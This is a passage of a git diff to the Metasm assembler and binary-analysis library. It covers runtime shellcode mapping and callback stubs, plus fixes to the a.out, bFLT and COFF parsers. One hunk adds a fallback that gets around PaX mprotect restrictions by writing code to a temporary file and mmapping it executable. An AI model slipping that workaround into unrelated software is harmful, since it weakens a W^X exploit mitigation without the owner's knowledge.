           aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff]
@@ -965,6 +1027,10 @@ EOS
     raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb
 
     rawargs = args.dup
+    if host_cpu.shortname == 'ia32' and (not cb[:proto_ori] or not cb[:proto_ori].has_attribute('fastcall'))
+      rawargs.shift
+      rawargs.shift
+    end
     ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : []
 
     # run it
@@ -995,6 +1061,7 @@ EOS
   # XXX val is an integer, how to decode Floats etc ? raw binary ptr ?
   def self.convert_c2rb(formal, val)
     formal = formal.type if formal.kind_of? C::Variable
+    val &= (1 << 8*cp.sizeof(formal))-1 if formal.integral?
     val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed?
     val = nil if formal.pointer? and val == 0
     val
@@ -1019,13 +1086,8 @@ EOS
     if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm }
       cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm }
       cp.toplevel.symbol.delete v.name if v
-      sc = compile_c(proto)
-      ptr = memory_alloc(sc.encoded.length)
-      sc.base_addr = ptr
-      # TODO fixup external calls
-      memory_write ptr, sc.encode_string
-      memory_perm ptr, sc.encoded.length, 'rwx'
-      ptr
+      sc = sc_map_resolve(compile_c(proto))
+      sc.base_x
     elsif not v
       raise 'empty prototype'
     else
@@ -1044,6 +1106,7 @@ EOS
     cb[:id] = id
     cb[:proc] = b
     cb[:proto] = proto
+    cb[:proto_ori] = ori
     cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall')
     cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall')	# supercedes stdcall
     @@callback_table[id] = cb
@@ -1058,29 +1121,34 @@ EOS
   # finds a free callback id, allocates a new page if needed
   def self.callback_find_id
     if not id = @@callback_addrs.find { |a| not @@callback_table[a] }
-      cb_page = memory_alloc(4096)
+      page_size = 4096
+      cb_page = memory_alloc(page_size)
       sc = Shellcode.new(host_cpu, cb_page)
       case sc.cpu.shortname
       when 'ia32'
-        addr = cb_page
-        nrcb = 128	# TODO should be 4096/5, but the parser/compiler is really too slow
-        nrcb.times {
-          @@callback_addrs << addr
-          sc.parse "call #{CALLBACK_TARGET}"
-          addr += 5
-        }
+        asm = "call #{CALLBACK_TARGET}"
       when 'x64'
-        addr = cb_page
-        nrcb = 128	# same remark
-        nrcb.times {
-          @@callback_addrs << addr
-          sc.parse "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}"
-          addr += 12	# XXX approximative..
-        }
+        if (cb_page - CALLBACK_TARGET).abs >= 0x7fff_f000
+          # cannot directly 'jmp CB_T'
+          asm = "1: mov rax, #{CALLBACK_TARGET}  push rax  lea rax, [rip-$_+1b]  ret"
+        else
+          asm = "1: lea rax, [rip-$_+1b]  jmp #{CALLBACK_TARGET}"
+        end
+      else
+        raise 'Who are you?'
       end
-      sc.assemble
-      memory_write cb_page, sc.encode_string
-      memory_perm cb_page, 4096, 'rx'
+
+      # fill the page with valid callbacks
+      loop do
+        off = sc.encoded.length
+        sc.assemble asm
+        break if sc.encoded.length > page_size
+        @@callback_addrs << (cb_page + off)
+      end
+
+      memory_write cb_page, sc.encode_string[0, page_size]
+      memory_perm cb_page, page_size, 'rx'
+
       raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] }
     end
     id
@@ -1090,23 +1158,17 @@ EOS
   # returns the raw pointer to the code page
   # if given a block, run the block and then undefine all the C functions & free memory
   def self.new_func_c(src)
-    sc = compile_c(src)
-    ptr = memory_alloc(sc.encoded.length)
-    sc.base_addr = ptr
-    bd = sc.encoded.binding(ptr)
-    sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" }
-    sc.encoded.fixup(bd)
-    memory_write ptr, sc.encode_string
-    memory_perm ptr, sc.encoded.length, 'rwx'
+    sc = sc_map_resolve(compile_c(src))
+
     parse_c(src)	# XXX the Shellcode parser may have defined stuff / interpreted C another way...
     defs = []
     cp.toplevel.symbol.dup.each_value { |v|
       next if not v.kind_of? C::Variable
       cp.toplevel.symbol.delete v.name
       next if not v.type.kind_of? C::Function or not v.initializer
-      next if not off = sc.encoded.export[v.name]
+      next if not off = sc.encoded_x.export[v.name]
       rbname = c_func_name_to_rb(v.name)
-      new_caller_for(v, rbname, ptr+off)
+      new_caller_for(v, rbname, sc.base_x+off)
       defs << rbname
     }
     if block_given?
@@ -1114,16 +1176,20 @@ EOS
         yield
       ensure
         defs.each { |d| class << self ; self ; end.send(:remove_method, d) }
-        memory_free ptr
+        memory_free sc.base_r if sc.base_r
+        memory_free sc.base_w if sc.base_w
+        memory_free sc.base_x if sc.base_x
       end
     else
-      ptr
+      sc.base_x
     end
   end
 
   # compile an asm sequence, callable with the ABI of the C prototype given
   # function name comes from the prototype
-  def self.new_func_asm(proto, asm)
+  # the shellcode is mapped in read-only memory unless selfmodifyingcode is true
+  # note that you can use a .data section for simple writable non-executable memory
+  def self.new_func_asm(proto, asm, selfmodifyingcode=false)
     proto += "\n;"
     old = cp.toplevel.symbol.keys
     parse_c(proto)
@@ -1133,38 +1199,38 @@ EOS
     raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer
     cp.toplevel.symbol.delete f.name
 
-    sc = Shellcode.assemble(host_cpu, asm)
-    ptr = memory_alloc(sc.encoded.length)
-    bd = sc.encoded.binding(ptr)
-    sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" }
-    sc.encoded.fixup(bd)
-    memory_write ptr, sc.encode_string
-    memory_perm ptr, sc.encoded.length, 'rwx'
+    sc = Shellcode_RWX.assemble(host_cpu, asm)
+    sc = sc_map_resolve(sc)
+    if selfmodifyingcode
+      memory_perm sc.base_x, sc.encoded_x.length, 'rwx'
+    end
     rbname = c_func_name_to_rb(f.name)
-    new_caller_for(f, rbname, ptr)
+    new_caller_for(f, rbname, sc.base_x)
     if block_given?
       begin
         yield
       ensure
         class << self ; self ; end.send(:remove_method, rbname)
-        memory_free ptr
+        memory_free sc.base_r if sc.base_r
+        memory_free sc.base_w if sc.base_w
+        memory_free sc.base_x
       end
     else
-      ptr
-    end
+      sc.base_x
     end
+  end
 
   # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c
   def self.alloc_c_struct(structname, values={})
     cp.alloc_c_struct(structname, values)
-    end
+  end
 
   # return a C::AllocCStruct mapped over the string (with optionnal offset)
   # str may be an EncodedData
   def self.decode_c_struct(structname, str, off=0)
     str = str.data if str.kind_of? EncodedData
     cp.decode_c_struct(structname, str, off)
-    end
+  end
 
   # allocate a C::AllocCStruct holding an Array of typename variables
   # if len is an int, it holds the ary length, or it can be an array of initialisers
@@ -1234,69 +1300,70 @@ EOS
   when :windows
 
     new_api_c <<EOS, 'kernel32'
-#define PAGE_NOACCESS          0x01     
-#define PAGE_READONLY          0x02     
-#define PAGE_READWRITE         0x04     
-#define PAGE_WRITECOPY         0x08     
-#define PAGE_EXECUTE           0x10     
-#define PAGE_EXECUTE_READ      0x20     
-#define PAGE_EXECUTE_READWRITE 0x40     
-#define PAGE_EXECUTE_WRITECOPY 0x80     
-#define PAGE_GUARD            0x100     
-#define PAGE_NOCACHE          0x200     
-#define PAGE_WRITECOMBINE     0x400     
+#define PAGE_NOACCESS          0x01
+#define PAGE_READONLY          0x02
+#define PAGE_READWRITE         0x04
+#define PAGE_WRITECOPY         0x08
+#define PAGE_EXECUTE           0x10
+#define PAGE_EXECUTE_READ      0x20
+#define PAGE_EXECUTE_READWRITE 0x40
+#define PAGE_EXECUTE_WRITECOPY 0x80
+#define PAGE_GUARD            0x100
+#define PAGE_NOCACHE          0x200
+#define PAGE_WRITECOMBINE     0x400
 
-#define MEM_COMMIT           0x1000     
-#define MEM_RESERVE          0x2000     
-#define MEM_DECOMMIT         0x4000     
-#define MEM_RELEASE          0x8000     
-#define MEM_FREE            0x10000     
-#define MEM_PRIVATE         0x20000     
-#define MEM_MAPPED          0x40000     
-#define MEM_RESET           0x80000     
-#define MEM_TOP_DOWN       0x100000     
-#define MEM_WRITE_WATCH    0x200000     
-#define MEM_PHYSICAL       0x400000     
-#define MEM_LARGE_PAGES  0x20000000     
-#define MEM_4MB_PAGES    0x80000000     
+#define MEM_COMMIT           0x1000
+#define MEM_RESERVE          0x2000
+#define MEM_DECOMMIT         0x4000
+#define MEM_RELEASE          0x8000
+#define MEM_FREE            0x10000
+#define MEM_PRIVATE         0x20000
+#define MEM_MAPPED          0x40000
+#define MEM_RESET           0x80000
+#define MEM_TOP_DOWN       0x100000
+#define MEM_WRITE_WATCH    0x200000
+#define MEM_PHYSICAL       0x400000
+#define MEM_LARGE_PAGES  0x20000000
+#define MEM_4MB_PAGES    0x80000000
 
 __stdcall uintptr_t VirtualAlloc(uintptr_t addr, uintptr_t size, int type, int prot);
 __stdcall uintptr_t VirtualFree(uintptr_t addr, uintptr_t size, int freetype);
 __stdcall uintptr_t VirtualProtect(uintptr_t addr, uintptr_t size, int prot, int *oldprot);
 EOS
-    
+
     # allocate some memory suitable for code allocation (ie VirtualAlloc)
     def self.memory_alloc(sz)
       virtualalloc(nil, sz, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE)
     end
-  
+
     # free memory allocated through memory_alloc
     def self.memory_free(addr)
       virtualfree(addr, 0, MEM_RELEASE)
     end
-  
+
     # change memory permissions - perm in [r rw rx rwx]
     def self.memory_perm(addr, len, perm)
       perm = { 'r' => PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ,
         'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase]
       virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8))
     end
-  
-  when :linux
-    
-    new_api_c <<EOS
-#define PROT_READ 0x1
-#define PROT_WRITE 0x2
-#define PROT_EXEC 0x4
 
-#define MAP_PRIVATE 0x2
+  when :linux
+
+    new_api_c <<EOS
+#define PROT_READ  0x1
+#define PROT_WRITE 0x2
+#define PROT_EXEC  0x4
+
+#define MAP_PRIVATE   0x2
+#define MAP_FIXED     0x10
 #define MAP_ANONYMOUS 0x20
 
 uintptr_t mmap(uintptr_t addr, uintptr_t length, int prot, int flags, uintptr_t fd, uintptr_t offset);
 uintptr_t munmap(uintptr_t addr, uintptr_t length);
 uintptr_t mprotect(uintptr_t addr, uintptr_t len, int prot);
 EOS
-    
+
     # allocate some memory suitable for code allocation (ie mmap)
     def self.memory_alloc(sz)
       @mmaps ||= {}	# save size for mem_free
@@ -1304,26 +1371,48 @@ EOS
       @mmaps[a] = sz
       a
     end
-  
+
     # free memory allocated through memory_alloc
     def self.memory_free(addr)
       munmap(addr, @mmaps[addr])
     end
-  
+
     # change memory permissions - perm 'rwx'
     # on PaX-enabled systems, this may need a non-mprotect-restricted ruby interpreter
+    # if a mapping 'rx' is denied, will try to create a file and mmap() it rx in place
     def self.memory_perm(addr, len, perm)
       perm = perm.to_s.downcase
       len += (addr & 0xfff) + 0xfff
       len &= ~0xfff
       addr &= ~0xfff
+
       p = 0
-      p |= PROT_READ if perm.include? 'r'
-      p |= PROT_WRITE if perm.include? 'w'
-      p |= PROT_EXEC if perm.include? 'x'
-      mprotect(addr, len, p)
+      p |= PROT_READ  if perm.include?('r')
+      p |= PROT_WRITE if perm.include?('w')
+      p |= PROT_EXEC  if perm.include?('x')
+
+      ret = mprotect(addr, len, p)
+
+      if ret != 0 and perm.include?('x') and not perm.include?('w') and len > 0 and @memory_perm_wd ||= find_write_dir
+        # We are on a PaX-mprotected system. Try to use a file mapping to work aroud.
+        Dir.chdir(@memory_perm_wd) {
+          fname = 'tmp_mprot_%d_%x' % [Process.pid, addr]
+          data = memory_read(addr, len)
+          begin
+            File.open(fname, 'w') { |fd| fd.write data }
+            # reopen to ensure filesystem flush
+            rret = File.open(fname, 'r') { |fd| mmap(addr, len, p, MAP_FIXED|MAP_PRIVATE, fd.fileno, 0) }
+            raise 'hax' if data != memory_read(addr, len)
+            ret = 0 if rret == addr
+          ensure
+            File.unlink(fname) rescue nil
+          end
+        }
+      end
+
+      ret
     end
-  
+
   end
 end
 end
diff --git a/lib/metasm/metasm/encode.rb b/lib/metasm/metasm/encode.rb
index 438e4a054d..ef6fa74f7e 100644
--- a/lib/metasm/metasm/encode.rb
+++ b/lib/metasm/metasm/encode.rb
@@ -271,7 +271,16 @@ class Expression
   def encode(type, endianness, backtrace=nil)
     case val = reduce
     when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace)
-    else          EncodedData.new([0].pack('C')*(INT_SIZE[type]/8), :reloc => {0 => Relocation.new(self, type, endianness, backtrace)})
+    else
+      str = case INT_SIZE[type]
+            when  8; "\0"
+            when 16; "\0\0"
+            when 32; "\0\0\0\0"
+            when 64; "\0\0\0\0\0\0\0\0"
+            else [0].pack('C')*(INT_SIZE[type]/8)
+            end
+      str = str.force_encoding('BINARY') if str.respond_to?(:force_encoding)
+      EncodedData.new(str, :reloc => {0 => Relocation.new(self, type, endianness, backtrace)})
     end
   end
 
diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb
index b43dc568c3..c273d51c55 100644
--- a/lib/metasm/metasm/exe_format/a_out.rb
+++ b/lib/metasm/metasm/exe_format/a_out.rb
@@ -58,7 +58,7 @@ class AOut < ExeFormat
   class Relocation < SerialStruct
     word :address
     bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length,
- 			27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy
+      27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy
     fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8
     fld_default :length, 4
   end
@@ -68,7 +68,7 @@ class AOut < ExeFormat
     bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab
     byte :other
     half :desc
- 		word :value
+    word :value
     attr_accessor :name
 
     def decode(aout, strings=nil)
@@ -93,6 +93,9 @@ class AOut < ExeFormat
   def encode_byte(w) Expression[w].encode(:u8 , @endianness) end
   def encode_half(w) Expression[w].encode(:u16, @endianness) end
   def encode_word(w) Expression[w].encode(:u32, @endianness) end
+  def sizeof_byte ; 1 ; end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
 
   def initialize(cpu = nil)
     @endianness = cpu ? cpu.endianness : :little
@@ -119,11 +122,11 @@ class AOut < ExeFormat
 
     @data = EncodedData.new << @encoded.read(@header.data)
 
-    textrel = @encoded.read @header.trsz
-    datarel = @encoded.read @header.drsz
-    syms    = @encoded.read @header.syms
-    strings = @encoded.read
     # TODO
+    #textrel = @encoded.read @header.trsz
+    #datarel = @encoded.read @header.drsz
+    #syms    = @encoded.read @header.syms
+    #strings = @encoded.read
   end
 
   def encode
diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb
index 6e3eb63445..3bd94d953c 100644
--- a/lib/metasm/metasm/exe_format/autoexe.rb
+++ b/lib/metasm/metasm/exe_format/autoexe.rb
@@ -58,6 +58,7 @@ register_signature("\xca\xfe\xba\xbe") { UniversalBinary }
 register_signature("dex\n") { DEX }
 register_signature("dey\n") { DEY }
 register_signature("\xfa\x70\x0e\x1f") { FatELF }
+register_signature("\x50\x4b\x03\x04") { ZIP }
 register_signature('Metasm.dasm') { Disassembler }
 
 # replacement for AutoExe where #load defaults to a Shellcode of the specified CPU
diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb
index f64b6f6406..ec70a2756c 100644
--- a/lib/metasm/metasm/exe_format/bflt.rb
+++ b/lib/metasm/metasm/exe_format/bflt.rb
@@ -9,6 +9,7 @@ require 'metasm/decode'
 
 module Metasm
 # BFLT is the binary flat format used by the uClinux
+# from examining a v4 binary, it looks like the header is discarded and the file is mapped from 0x40 to memory address 0 (wrt relocations)
 class Bflt < ExeFormat
   MAGIC = 'bFLT'
   FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' }
@@ -29,13 +30,20 @@ class Bflt < ExeFormat
       when MAGIC
       else raise InvalidExeFormat, "Bad bFLT signature #@magic"
       end
+
+      if @rev >= 0x01000000 and (@rev & 0x00f0ffff) == 0
+        puts "Bflt: probable wrong endianness, retrying" if $VERBOSE
+        exe.endianness = { :big => :little, :little => :big }[exe.endianness]
+        exe.encoded.ptr -= 4*16
+        super(exe)
+      end
     end
 
     def set_default_values(exe)
       @magic ||= MAGIC
       @rev ||= 4
       @entry ||= 0x40
-      @data_start ||= @entry + exe.text.length if exe.text
+      @data_start ||= 0x40 + exe.text.length if exe.text
       @data_end ||= @data_start + exe.data.data.length if exe.data
       @bss_end ||= @data_start + exe.data.length if exe.data
       @stack_size ||= 0x1000
@@ -49,7 +57,9 @@ class Bflt < ExeFormat
 
   def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
   def encode_word(w) Expression[w].encode(:u32, @endianness) end
+  def sizeof_word ; 4 ; end
 
+  attr_accessor :endianness
   def initialize(cpu = nil)
     @endianness = cpu ? cpu.endianness : :little
     @header = Header.new
@@ -61,17 +71,17 @@ class Bflt < ExeFormat
   def decode_header
     @encoded.ptr = 0
     @header.decode(self)
+    @encoded.add_export(new_label('entrypoint'), @header.entry)
   end
 
   def decode
     decode_header
 
-    @encoded.ptr = @header.entry
-    @text = EncodedData.new << @encoded.read(@header.data_start - @header.entry)
-    @data = EncodedData.new << @encoded.read(@header.data_end - @header.data_start)
-    @data.virtsize += (@header.bss_end - @header.data_end)
+    @text = @encoded[0x40...@header.data_start]
+    @data = @encoded[@header.data_start...@header.data_end]
+    @data.virtsize += @header.bss_end - @header.data_end
 
-    if @header.flags.include? 'GZIP'
+    if @header.flags.include?('GZIP')
       # TODO gzip
       raise 'bFLT decoder: gzip format not supported'
     end
@@ -79,7 +89,7 @@ class Bflt < ExeFormat
     @reloc = []
     @encoded.ptr = @header.reloc_start
     @header.reloc_count.times { @reloc << decode_word }
-    if @header.version == 2
+    if @header.rev == 2
       @reloc.map! { |r| r & 0x3fff_ffff }
     end
 
@@ -87,32 +97,29 @@ class Bflt < ExeFormat
   end
 
   def decode_interpret_relocs
+    textsz = @header.data_start-0x40
     @reloc.each { |r|
       # where the reloc is
-      if r >= @header.entry and r < @header.data_start
+      if r < textsz
         section = @text
-        base = @header.entry
-      elsif r >= @header.data_start and r < @header.data_end
-        section = @data
-        base = @header.data_start
+        off = section.ptr = r
       else
-        puts "out of bounds reloc at #{Expression[r]}" if $VERBOSE
-        next
+        section = @data
+        off = section.ptr = r-textsz
       end
 
       # what it points to
-      section.ptr = r-base
       target = decode_word(section)
-      if target >= @header.entry and target < @header.data_start
-        target = label_at(@text, target - @header.entry, "xref_#{Expression[target]}")
-      elsif target >= @header.data_start and target < @header.bss_end
-        target = label_at(@data, target - @header.data_start, "xref_#{Expression[target]}")
+      if target < textsz
+        target = label_at(@text, target, "xref_#{Expression[target]}")
+      elsif target < @header.bss_end-0x40
+        target = label_at(@data, target-textsz, "xref_#{Expression[target]}")
       else
-        puts "out of bounds reloc target at #{Expression[r]}" if $VERBOSE
+        puts "out of bounds reloc target #{Expression[target]} at #{Expression[r]}" if $VERBOSE
         next
       end
 
-      @text.reloc[r-base] = Relocation.new(Expression[target], :u32, @endianness)
+      section.reloc[off] = Relocation.new(Expression[target], :u32, @endianness)
     }
   end
 
@@ -127,8 +134,8 @@ class Bflt < ExeFormat
 
     @encoded = EncodedData.new
     @encoded << @header.encode(self)
-    
-    binding = @text.binding(@header.entry).merge(@data.binding(@header.data_start))
+
+    binding = @text.binding(0x40).merge(@data.binding(@header.data_start))
     @encoded << @text << @data.data
     @encoded.fixup! binding
     @encoded.reloc.clear
@@ -143,7 +150,7 @@ class Bflt < ExeFormat
     mapaddr = new_label('mapaddr')
     binding = @text.binding(mapaddr).merge(@data.binding(mapaddr))
     [@text, @data].each { |section|
-      base = @header.entry || 0x40
+      base = 0x40	# XXX maybe 0 ?
       base = @header.data_start || base+@text.length if section == @data
       section.reloc.each { |o, r|
         if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and
@@ -167,7 +174,16 @@ class Bflt < ExeFormat
     case instr.raw.downcase
     when '.text'; @cursource = @textsrc
     when '.data'; @cursource = @datasrc
-    # entrypoint is the 1st byte of .text
+    when '.entrypoint'
+      # ".entrypoint <somelabel/expression>" or ".entrypoint" (here)
+      @lexer.skip_space
+      if tok = @lexer.nexttok and tok.type == :string
+        raise instr if not entrypoint = Expression.parse(@lexer)
+      else
+        entrypoint = new_label('entrypoint')
+        @cursource << Label.new(entrypoint, instr.backtrace.dup)
+      end
+      @header.entry = entrypoint
     else super(instr)
     end
   end
@@ -181,9 +197,23 @@ class Bflt < ExeFormat
     self
   end
 
+  def get_default_entrypoints
+    ['entrypoint']
+  end
+
   def each_section
-    yield @text, @header.entry
-    yield @data, @header.data_start
+    yield @text, 0
+    yield @data, @header.data_start - @header.entry
+  end
+
+  def section_info
+    [['.text', 0, @text.length, 'rx'],
+     ['.data', @header.data_addr-0x40, @data.data.length, 'rw'],
+     ['.bss',  @header.data_end-0x40,  @data.length-@data.data.length, 'rw']]
+  end
+
+  def module_symbols
+    ['entrypoint', @header.entry-0x40]
   end
 end
 end
diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb
index 05ef3cc7ee..a330ea5f1f 100644
--- a/lib/metasm/metasm/exe_format/coff.rb
+++ b/lib/metasm/metasm/exe_format/coff.rb
@@ -81,7 +81,7 @@ class COFF < ExeFormat
     11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC',
     15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD',
     100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT',
-           103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT',
+    103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT',
   }
 
   DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC',
@@ -140,7 +140,7 @@ class COFF < ExeFormat
     bytes :link_ver_maj, :link_ver_min
     words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code
     # base_of_data does not exist in 64-bit
-    new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0)
+    new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0)
     # NT-specific fields
     xword :image_base
     words :sect_align, :file_align
@@ -264,7 +264,7 @@ class COFF < ExeFormat
 
   class TLSDirectory < SerialStruct
     xwords :start_va, :end_va, :index_addr, :callback_p
- 		words :zerofill_sz, :characteristics
+    words :zerofill_sz, :characteristics
 
     attr_accessor :callbacks
   end
@@ -413,6 +413,11 @@ class COFF < ExeFormat
   end
 
   def shortname; 'coff'; end
+
+  def sizeof_byte ; 1 ; end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
+  def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end
 end
 
 # the COFF archive file format
@@ -448,6 +453,9 @@ class COFFArchive < ExeFormat
   def member(name)
     @members.find { |m| m.name == name }
   end
+
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
 end
 end
 
diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb
index 5a718a13fe..e46528a119 100644
--- a/lib/metasm/metasm/exe_format/coff_decode.rb
+++ b/lib/metasm/metasm/exe_format/coff_decode.rb
@@ -17,13 +17,15 @@ class COFF
     # decodes a COFF optional header from coff.cursection
     # also decodes directories in coff.directory
     def decode(coff)
-      return set_default_values(coff) if coff.header.size_opthdr == 0
+      return set_default_values(coff) if coff.header.size_opthdr == 0 and not coff.header.characteristics.include?('EXECUTABLE_IMAGE')
+      off = coff.curencoded.ptr
       super(coff)
+      nrva = (coff.header.size_opthdr - (coff.curencoded.ptr - off)) / 8
+      nrva = @numrva if nrva < 0
 
-      nrva = @numrva
-      if @numrva > DIRECTORIES.length
-        puts "W: COFF: Invalid directories count #{@numrva}" if $VERBOSE
-        nrva = DIRECTORIES.length
+      if nrva > DIRECTORIES.length or nrva != @numrva
+        puts "W: COFF: Weird directories count #{@numrva}" if $VERBOSE
+        nrva = DIRECTORIES.length if nrva > DIRECTORIES.length
       end
 
       coff.directory = {}
@@ -171,17 +173,17 @@ class COFF
   end
 
   class ResourceDirectory
-    def decode(coff, edata = coff.curencoded, startptr = edata.ptr)
+    def decode(coff, edata = coff.curencoded, startptr = edata.ptr, maxdepth=3)
       super(coff, edata)
 
       @entries = []
 
       nrnames = @nr_names if $DEBUG
       (@nr_names+@nr_id).times {
- 				e = Entry.new
+        e = Entry.new
 
- 				e_id = coff.decode_word(edata)
- 				e_ptr = coff.decode_word(edata)
+        e_id = coff.decode_word(edata)
+        e_ptr = coff.decode_word(edata)
 
         if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer
           puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE
@@ -213,10 +215,12 @@ class COFF
           e.subdir_p = e_ptr & 0x7fff_ffff
           if startptr + e.subdir_p >= edata.length
             puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE
-          else
+          elsif maxdepth > 0
             edata.ptr = startptr + e.subdir_p
             e.subdir = ResourceDirectory.new
-            e.subdir.decode coff, edata, startptr
+            e.subdir.decode coff, edata, startptr, maxdepth-1
+          else
+            puts 'W: COFF: recursive resource section' if $VERBOSE
           end
         else
           e.dataentry_p = e_ptr
@@ -244,7 +248,8 @@ class COFF
 
       decode_tllv = lambda { |ed, state|
         sptr = ed.ptr
-        len, vlen, type = coff.decode_half(ed), coff.decode_half(ed), coff.decode_half(ed)
+        len, vlen = coff.decode_half(ed), coff.decode_half(ed)
+        coff.decode_half(ed)	# type
         tagname = ''
         while c = coff.decode_half(ed) and c != 0
           tagname << (c&255)
@@ -273,7 +278,7 @@ class COFF
         when :str
           val = ed.read(vlen*2).unpack('v*')
           val.pop if val[-1] == 0
-          val = val.pack('C*') if val.all? { |c_| c_ > 0 and  c_ < 256 } 
+          val = val.pack('C*') if val.all? { |c_| c_ > 0 and  c_ < 256 }
           vers[tagname] = val
         when :var
           val = ed.read(vlen).unpack('V*')
@@ -426,8 +431,7 @@ class COFF
   def sect_at_rva(rva)
     return if not rva or rva <= 0
     if sections and not @sections.empty?
-      valign = lambda { |l| EncodedData.align_size(l, @optheader.sect_align) }
-      if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + valign[s_.virtsize] > rva }
+      if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + EncodedData.align_size((s_.virtsize == 0 ? s_.rawsize : s_.virtsize), @optheader.sect_align) > rva }
         s.encoded.ptr = rva - s.virtaddr
         @cursection = s
       elsif rva < @sections.map { |s_| s_.virtaddr }.min
@@ -479,7 +483,7 @@ class COFF
   end
 
   def each_section
-    if @header.size_opthdr == 0
+    if @header.size_opthdr == 0 and not @header.characteristics.include?('EXECUTABLE_IMAGE')
       @sections.each { |s|
         next if not s.encoded
         l = new_label(s.name)
@@ -490,7 +494,9 @@ class COFF
     end
     base = @optheader.image_base
     base = 0 if not base.kind_of? Integer
-    yield @encoded[0, @optheader.headers_size], base
+    sz = @optheader.headers_size
+    sz = EncodedData.align_size(@optheader.image_size, 4096) if @sections.empty?
+    yield @encoded[0, sz], base
     @sections.each { |s| yield s.encoded, base + s.virtaddr }
   end
 
@@ -566,8 +572,10 @@ class COFF
   # decodes a section content (allows simpler LoadedPE override)
   def decode_section_body(s)
     raw = EncodedData.align_size(s.rawsize, @optheader.file_align)
-    virt = EncodedData.align_size(s.virtsize, @optheader.sect_align)
+    virt = s.virtsize
     virt = raw = s.rawsize if @header.size_opthdr == 0
+    virt = raw if virt == 0
+    virt = EncodedData.align_size(virt, @optheader.sect_align)
     s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new
     s.encoded.virtsize = virt
   end
@@ -634,8 +642,13 @@ class COFF
     if ct = @directory['certificate_table']
       @certificates = []
       @cursection = self
+      if ct[0] > @encoded.length or ct[1] > @encoded.length - ct[0]
+        puts "W: COFF: invalid certificate_table #{'0x%X+0x%0X' % ct}" if $VERBOSE
+        ct = [ct[0], 1]
+      end
       @encoded.ptr = ct[0]
       off_end = ct[0]+ct[1]
+      off_end = @encoded.length if off_end > @encoded.length
       while @encoded.ptr < off_end
         certlen = decode_word
         certrev = decode_half
@@ -704,6 +717,25 @@ class COFF
     end
   end
 
+  def decode_reloc_amd64(r)
+    case r.type
+    when 'ABSOLUTE'
+    when 'HIGHLOW'
+      addr = decode_word
+      if s = sect_at_va(addr)
+        label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}")
+        Metasm::Relocation.new(Expression[label], :u32, @endianness)
+      end
+    when 'DIR64'
+      addr = decode_xword
+      if s = sect_at_va(addr)
